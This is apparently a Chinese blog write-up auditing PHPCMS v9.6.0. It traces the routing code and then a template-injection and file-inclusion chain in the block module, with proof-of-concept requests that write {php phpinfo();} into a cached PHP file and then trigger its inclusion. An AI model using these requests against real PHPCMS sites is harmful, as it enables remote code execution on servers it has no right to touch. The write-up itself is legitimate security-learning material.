前言
php 5.6
mysql 5.0
ubuntu 19
phpcmsv9.6.0(我下载的版本UTF8)
写在前面
又是一整感觉,自己菜的明明白白,对函数的理解不够使深刻,然后分析函数的能力太差了,我自己都看不下去了。然后感谢wnltc0师傅,十分耐心地和我讲解我不懂的点。然后这次花了挺长时间的,然后因为最后的POC靠自己整的,就成功了一半,因为,我下载的源码里有缺失,或者是我太笨了,看懵了,然后我就寻找另外一个触发点,结果失败了…….之后再琢磨一下。
漏洞产生
代码本身存在bug,并且未对用户输入的内容进行过滤,使得用户可以上传恶意php文件,用户可以通过文件包含漏洞读取该恶意文件。
代码分析
这次分析,分两部分完成,第一个是分析整个cms的路由,第二分析漏洞触发点
路由分析
定位:index.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/**
* index.php PHPCMS 入口
*
* @copyright (C) 2005-2010 PHPCMS
* @license http://www.phpcms.cn/license/
* @lastmodify 2010-6-1
*/
//PHPCMS根目录
define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
include PHPCMS_PATH.'/phpcms/base.php';
pc_base::creat_app();
这里include base.php,定位:/phpcms/base.php
然后跟进一下creat_app()函数1
2
3public static function creat_app() {
return self::load_sys_class('application');
}
调用load_sys_class()函数,跟进这个函数1
2
3public static function load_sys_class($classname, $path = '', $initialize = 1) {
return self::_load_class($classname, $path, $initialize);
}
然后这里有另外几个和load_sys_clas()作用位于同一层面的函数,逐个介绍一下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73//定位:/phpcms/base.php
//_load_sys_class()
/**
* 加载系统类方法
* @param string $classname 类名
* @param string $path 扩展地址
* @param intger $initialize 是否初始化
*/
public static function load_sys_class($classname, $path = '', $initialize = 1) {
return self::_load_class($classname, $path, $initialize);
}
//_load_app_class()
/**
* 加载应用类方法
* @param string $classname 类名
* @param string $m 模块
* @param intger $initialize 是否初始化
*/
public static function load_app_class($classname, $m = '', $initialize = 1) {
$m = empty($m) && defined('ROUTE_M') ? ROUTE_M : $m;
if (empty($m)) return false;
return self::_load_class($classname, 'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.'classes', $initialize);
}
//load_model()
/**
* 加载数据模型
* @param string $classname 类名
*/
public static function load_model($classname) {
return self::_load_class($classname,'model');
}
//load_config()
/**
* 加载配置文件
* @param string $file 配置文件
* @param string $key 要获取的配置荐
* @param string $default 默认配置。当获取配置项目失败时该值发生作用。
* @param boolean $reload 强制重新加载。
*/
public static function load_config($file, $key = '', $default = '', $reload = false) {
static $configs = array();
if (!$reload && isset($configs[$file])) {
if (empty($key)) {
return $configs[$file];
} elseif (isset($configs[$file][$key])) {
return $configs[$file][$key];
} else {
return $default;
}
}
$path = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.$file.'.php';
if (file_exists($path)) {
$configs[$file] = include $path;
}
if (empty($key)) {
return $configs[$file];
} elseif (isset($configs[$file][$key])) {
return $configs[$file][$key];
} else {
return $default;
}
}
load_config()函数调用了之后,会调用/caches/config/$file.php
而另外三个函数都会调用**_load_class()**
方法,三个的差别在于参数有所不同。
跟进_load_class()1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29private static function _load_class($classname, $path = '', $initialize = 1) {
static $classes = array();
if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes';
$key = md5($path.$classname);
if (isset($classes[$key])) {
if (!empty($classes[$key])) {
return $classes[$key];
} else {
return true;
}
}
if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {
include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php';
$name = $classname;
if ($my_path = self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {
include $my_path;
$name = 'MY_'.$classname;
}
if ($initialize) {
$classes[$key] = new $name;
} else {
$classes[$key] = true;
}
return $classes[$key];
} else {
return false;
}
}
当调用load_sys_class时,到 phpcms/libs/classes目录下找xx.class.php
当调用load_app_class时,到phpcms/modules/模块名/classes/目录下找xx.class.php
当调用load_model时,到phpcms/model目录下找xx.class.php
如果$initialize=1时,包含类文件并实例化类,反之,仅包含类文件
然后我们回到creat_app()函数1
2
3public static function creat_app() {
return self::load_sys_class('application');
}
加载了php/libs/classes/application.class.php,实例化application类
跟进php/libs/classes/application.class.php1
2
3
4
5
6
7public function __construct() {
$param = pc_base::load_sys_class('param');
define('ROUTE_M', $param->route_m());//模块
define('ROUTE_C', $param->route_c());//控制器
define('ROUTE_A', $param->route_a());//事件
$this->init();
}
先看到_construct()方法,这里实例化param类,跟进php/libs/classes/param.class.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
/**
* param.class.php 参数处理类
*
* @copyright (C) 2005-2012 PHPCMS
* @license http://www.phpcms.cn/license/
* @lastmodify 2012-9-17
*/
class param {
//路由配置
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
}
$this->route_config = pc_base::load_config('route', SITE_URL) ? pc_base::load_config('route', SITE_URL) : pc_base::load_config('route', 'default');
if(isset($this->route_config['data']['POST']) && is_array($this->route_config['data']['POST'])) {
foreach($this->route_config['data']['POST'] as $_key => $_value) {
if(!isset($_POST[$_key])) $_POST[$_key] = $_value;
}
}
... ...
... ...
/**
* 获取模型
*/
public function route_m() {
$m = isset($_GET['m']) && !empty($_GET['m']) ? $_GET['m'] : (isset($_POST['m']) && !empty($_POST['m']) ? $_POST['m'] : '');
$m = $this->safe_deal($m);
if (empty($m)) {
return $this->route_config['m'];
} else {
if(is_string($m)) return $m;
}
}
/**
* 获取控制器
*/
public function route_c() {
$c = isset($_GET['c']) && !empty($_GET['c']) ? $_GET['c'] : (isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : '');
$c = $this->safe_deal($c);
if (empty($c)) {
return $this->route_config['c'];
} else {
if(is_string($c)) return $c;
}
}
/**
* 获取事件
*/
public function route_a() {
$a = isset($_GET['a']) && !empty($_GET['a']) ? $_GET['a'] : (isset($_POST['a']) && !empty($_POST['a']) ? $_POST['a'] : '');
$a = $this->safe_deal($a);
if (empty($a)) {
return $this->route_config['a'];
} else {
if(is_string($a)) return $a;
}
}
... ...
... ...
其中的route_config1
$this->route_config = pc_base::load_config('route', SITE_URL) ? pc_base::load_config('route', SITE_URL) : pc_base::load_config('route', 'default');
可以跟进caches/configs/route.php,查看1
2
3return array(
'default'=>array('m'=>'content', 'c'=>'index', 'a'=>'init'),
);
这个类中,我们可以看到用户可以通过需求选择模块,控制器,以及需要加载的事件.
这个之后,分别给定’ROUTE_M’,’ROUTE_C’,’ROUTE_A’的值,然后进入init()函数,
跟进init():1
2
3
4
5
6
7
8
9
10
11
12
13
14
15/**
* 调用事件
*/
private function init() {
$controller = $this->load_controller();
if (method_exists($controller, ROUTE_A)) {
if (preg_match('/^[_]/i', ROUTE_A)) {
exit('You are visiting the action is to protect the private action');
} else {
call_user_func(array($controller, ROUTE_A));
}
} else {
exit('Action does not exist.');
}
}
关注1
call_user_func(array($controller, ROUTE_A));
然后跟进load_controller()…..1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26/**
* 加载控制器
* @param string $filename
* @param string $m
* @return obj
*/
private function load_controller($filename = '', $m = '') {
if (empty($filename)) $filename = ROUTE_C;
if (empty($m)) $m = ROUTE_M;
$filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename.'.php';
if (file_exists($filepath)) {
$classname = $filename;
include $filepath;
if ($mypath = pc_base::my_path($filepath)) {
$classname = 'MY_'.$filename;
include $mypath;
}
if(class_exists($classname)){
return new $classname;
}else{
exit('Controller does not exist.');
}
} else {
exit('Controller does not exist.');
}
}
包含控制器类文件,实例化控制器并返回,具体文件路径:modules/模块名/控制器名.php
(默认加载modules/content/index.php)
返回之后,就可以通过ROUTE_A,选择事件。
总结一下(这是从师傅那儿转的)1
2
3
4
5
6
7
8
9
10
11
12
13核心类库在 phpcms/libs/classes/
模型类库在 phpcms/model/
应用目录 phpcms/modules/
配置目录 caches/configs/
全局变量被转义,$_SERVER 除外
模块名、控制器名、方法名中的 /、.会被过滤
方法名不允许以 _ 开头
漏洞触发
定位phpcms/modules/block/block_admin.php::block_update() 120行1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31public function block_update() {
$id = isset($_GET['id']) && intval($_GET['id']) ? intval($_GET['id']) : showmessage(L('illegal_operation'), HTTP_REFERER);
//进行权限判断
if ($this->roleid != 1) {
if (!$this->priv_db->get_one(array('blockid'=>$id, 'roleid'=>$this->roleid, 'siteid'=>$this->siteid))) {
showmessage(L('not_have_permissions'));
}
}
if (!$data = $this->db->get_one(array('id'=>$id))) {
showmessage(L('nofound'));
}
if (isset($_POST['dosubmit'])) {
$sql = array();
if ($data['type'] == 2) {
$title = isset($_POST['title']) ? $_POST['title'] : '';
$url = isset($_POST['url']) ? $_POST['url'] : '';
$thumb = isset($_POST['thumb']) ? $_POST['thumb'] : '';
$desc = isset($_POST['desc']) ? $_POST['desc'] : '';
$template = isset($_POST['template']) && trim($_POST['template']) ? trim($_POST['template']) : '';
$datas = array();
foreach ($title as $key=>$v) {
if (empty($v) || !isset($url[$key]) ||empty($url[$key])) continue;
$datas[$key] = array('title'=>$v, 'url'=>$url[$key], 'thumb'=>$thumb[$key], 'desc'=>str_replace(array(chr(13), chr(43)), array('', ' '), $desc[$key]));
}
if ($template) {
$block = pc_base::load_app_class('block_tag');
$block->template_url($id, $template);
... ...
... ...
}
关键代码1
$block->template_url($id, $template);
跟进template_url()1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28/**
* 生成模板返回路径
* @param integer $id 碎片ID号
* @param string $template 风格
*/
public function template_url($id, $template = '') {
$filepath = CACHE_PATH.'caches_template'.DIRECTORY_SEPARATOR.'block'.DIRECTORY_SEPARATOR.$id.'.php';
$dir = dirname($filepath);
if ($template) {
if(!is_dir($dir)) {
mkdir($dir, 0777, true);
}
$tpl = pc_base::load_sys_class('template_cache');
$str = $tpl->template_parse(new_stripslashes($template));
@file_put_contents($filepath, $str);
} else {
if (!file_exists($filepath)) {
if(!is_dir($dir)) {
mkdir($dir, 0777, true);
}
$tpl = pc_base::load_sys_class('template_cache');
$str = $this->db->get_one(array('id'=>$id), 'template');
$str = $tpl->template_parse($str['template']);
@file_put_contents($filepath, $str);
}
}
return $filepath;
}
其中id和template都是我们可以控制的,$str是我们传入的$template,经过template_parse()过滤后而来的1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42/**
* 解析模板
*
* @param $str 模板内容
* @return ture
*/
/**
* 解析模板
*
* @param $str 模板内容
* @return ture
*/
public function template_parse($str) {
$str = preg_replace ( "/\{template\s+(.+)\}/", "<?php include template(\\1); ?>", $str );
$str = preg_replace ( "/\{include\s+(.+)\}/", "<?php include \\1; ?>", $str );
$str = preg_replace ( "/\{php\s+(.+)\}/", "<?php \\1?>", $str );
$str = preg_replace ( "/\{if\s+(.+?)\}/", "<?php if(\\1) { ?>", $str );
$str = preg_replace ( "/\{else\}/", "<?php } else { ?>", $str );
$str = preg_replace ( "/\{elseif\s+(.+?)\}/", "<?php } elseif (\\1) { ?>", $str );
$str = preg_replace ( "/\{\/if\}/", "<?php } ?>", $str );
//for 循环
$str = preg_replace("/\{for\s+(.+?)\}/","<?php for(\\1) { ?>",$str);
$str = preg_replace("/\{\/for\}/","<?php } ?>",$str);
//++ --
$str = preg_replace("/\{\+\+(.+?)\}/","<?php ++\\1; ?>",$str);
$str = preg_replace("/\{\-\-(.+?)\}/","<?php ++\\1; ?>",$str);
$str = preg_replace("/\{(.+?)\+\+\}/","<?php \\1++; ?>",$str);
$str = preg_replace("/\{(.+?)\-\-\}/","<?php \\1--; ?>",$str);
$str = preg_replace ( "/\{loop\s+(\S+)\s+(\S+)\}/", "<?php \$n=1;if(is_array(\\1)) foreach(\\1 AS \\2) { ?>", $str );
$str = preg_replace ( "/\{loop\s+(\S+)\s+(\S+)\s+(\S+)\}/", "<?php \$n=1; if(is_array(\\1)) foreach(\\1 AS \\2 => \\3) { ?>", $str );
$str = preg_replace ( "/\{\/loop\}/", "<?php \$n++;}unset(\$n); ?>", $str );
$str = preg_replace ( "/\{([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/", "<?php echo \\1;?>", $str );
$str = preg_replace ( "/\{\\$([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/", "<?php echo \\1;?>", $str );
$str = preg_replace ( "/\{(\\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\}/", "<?php echo \\1;?>", $str );
$str = preg_replace_callback("/\{(\\$[a-zA-Z0-9_\[\]\'\"\$\x7f-\xff]+)\}/s", array($this, 'addquote'),$str);
$str = preg_replace ( "/\{([A-Z_\x7f-\xff][A-Z0-9_\x7f-\xff]*)\}/s", "<?php echo \\1;?>", $str );
$str = preg_replace_callback("/\{pc:(\w+)\s+([^}]+)\}/i", array($this, 'pc_tag_callback'), $str);
$str = preg_replace_callback("/\{\/pc\}/i", array($this, 'end_pc_tag'), $str);
$str = "<?php defined('IN_PHPCMS') or exit('No permission resources.'); ?>" . $str;
return $str;
}
然后对$templatem没有影响,但是经过这个函数后,我们输入的$template,就会加上一段<?php defined(‘IN_PHPCMS’) or exit(‘No permission resources.’); ?>,那么加入我们的恶意php文件上传成功,
POC 0x01
这里有一个很有意思的地方,那就是我们这里的block_update(),从逻辑上说,这是一段用于更新的代码,然后我们首先,需要先创建一个id,使得数据库中有一个id的数据是可以更新的1
2
3if (!$data = $this->db->get_one(array('id'=>$id))) {
showmessage(L('nofound'));
}
添加id的代码,跟进add()函数
定位phpcms/modules/block/block_admin.php::add() 120行1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30public function add() {
$pos = isset($_GET['pos']) && trim($_GET['pos']) ? trim($_GET['pos']) : showmessage(L('illegal_operation'));
if (isset($_POST['dosubmit'])) {
$name = isset($_POST['name']) && trim($_POST['name']) ? trim($_POST['name']) : showmessage(L('illegal_operation'), HTTP_REFERER);
$type = isset($_POST['type']) && intval($_POST['type']) ? intval($_POST['type']) : 1;
//判断名称是否已经存在
if ($this->db->get_one(array('name'=>$name))) {
showmessage(L('name').L('exists'), HTTP_REFERER);
}
if ($id = $this->db->insert(array('name'=>$name, 'pos'=>$pos, 'type'=>$type, 'siteid'=>$this->siteid), true)) {
//设置权限
$priv = isset($_POST['priv']) ? $_POST['priv'] : '';
if (!empty($priv)) {
if (is_array($priv)) foreach ($priv as $v) {
if (empty($v)) continue;
$this->priv_db->insert(array('roleid'=>$v, 'blockid'=>$id, 'siteid'=>$this->siteid));
}
}
showmessage(L('operation_success'), '?m=block&c=block_admin&a=block_update&id='.$id);
} else {
showmessage(L('operation_failure'), HTTP_REFERER);
}
} else {
$show_header = $show_validator = true;
pc_base::load_sys_class('form');
$administrator = getcache('role', 'commons');
unset($administrator[1]);
include $this->admin_tpl('block_add_edit');
}
}
关键代码:1
if ($id = $this->db->insert(array('name'=>$name, 'pos'=>$pos, 'type'=>$type, 'siteid'=>$this->siteid), true))
创建一个id,然后我们现在构造payload:1
2?m=block&c=block_admin&a=add&pos=1&pc_hash=gh43rD
POST:dosubmit=1&name=cookie&type=2
其中的type=2,此参数是为后续准备的。
然后插入template参数,payload如下1
2?m=block&c=block_admin&a=block_update&id=2&pc_hash=iMIUs3
POST:dosubmit=1&name=bb&type=2&url=&thumb=&desc=&template={php phpinfo();}
这个url,是自动跳转的,填入POST参数就行。
看一下服务器
写入成功
POC 0x02
但是里面的这段话,会因为‘IN_PHPCMS’,为false,而退出木马程序,那么一般思路下,我们读取木马文件的思路就不行。
然后看到pc_tag()
定位:/phpcms/modules/block/classes/block_tag.class.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25public function pc_tag($data) {
$siteid = isset($data['siteid']) && intval($data['siteid']) ? intval($data['siteid']) : get_siteid();
$r = $this->db->select(array('pos'=>$data['pos'], 'siteid'=>$siteid));
$str = '';
if (!empty($r) && is_array($r)) foreach ($r as $v) {
if (defined('IN_ADMIN') && !defined('HTML')) $str .= '<div id="block_id_'.$v['id'].'" class="admin_block" blockid="'.$v['id'].'">';
if ($v['type'] == '2') {
extract($v, EXTR_OVERWRITE);
$data = string2array($data);
if (!defined('HTML')) {
ob_start();
include $this->template_url($id);
$str .= ob_get_contents();
ob_clean();
} else {
include $this->template_url($id);
}
} else {
$str .= $v['data'];
}
if (defined('IN_ADMIN') && !defined('HTML')) $str .= '</div>';
}
return $str;
}
关键代码:1
include $this->template_url($id);
文件包含漏洞,然后最骚的就是,全局搜素pc_tag(),会发现在register.php中调用,然后全局搜索register,发现
定位:phpcms/modules/link/index.php中有这么一段代码1
include template('link', 'register')
跟进后,发现这个函数是可以产生缓存文件的,而这个缓存文件调用了pc_tag(),可包含所以最终payload为1
?m=link&c=index&a=register&siteid=1
写在后面
再一次感谢wnltc0师傅,不厌其烦地和我解释我不懂的地方
代码审计思路(转的….)
方案一:先对核心类库进行审计,如果找到漏洞,那么在网站中可能会存在多处相同的漏洞,就算找不到漏洞,那对核心类库中的方法也多少了解,后面对具体应用功能审计时也会轻松一些
方案二:直接审计功能点,优点:针对性更强;缺点:某个功能点可能调用了多个核心类库中的方法,由于对核心类库不了解,跟读时可能会比较累,需要跟的东西可能会比较多
//无论哪种方案,没耐心是不行滴;如果你审计时正好心烦躁的很,那你可以在安装好应用后,随便点点,开着bp,抓抓改改,发现觉得可能存在问题的点再跟代码,这种方式(有点偏黑盒)能发现一些比较明显的问题,想深入挖掘,建议参考前面两种方案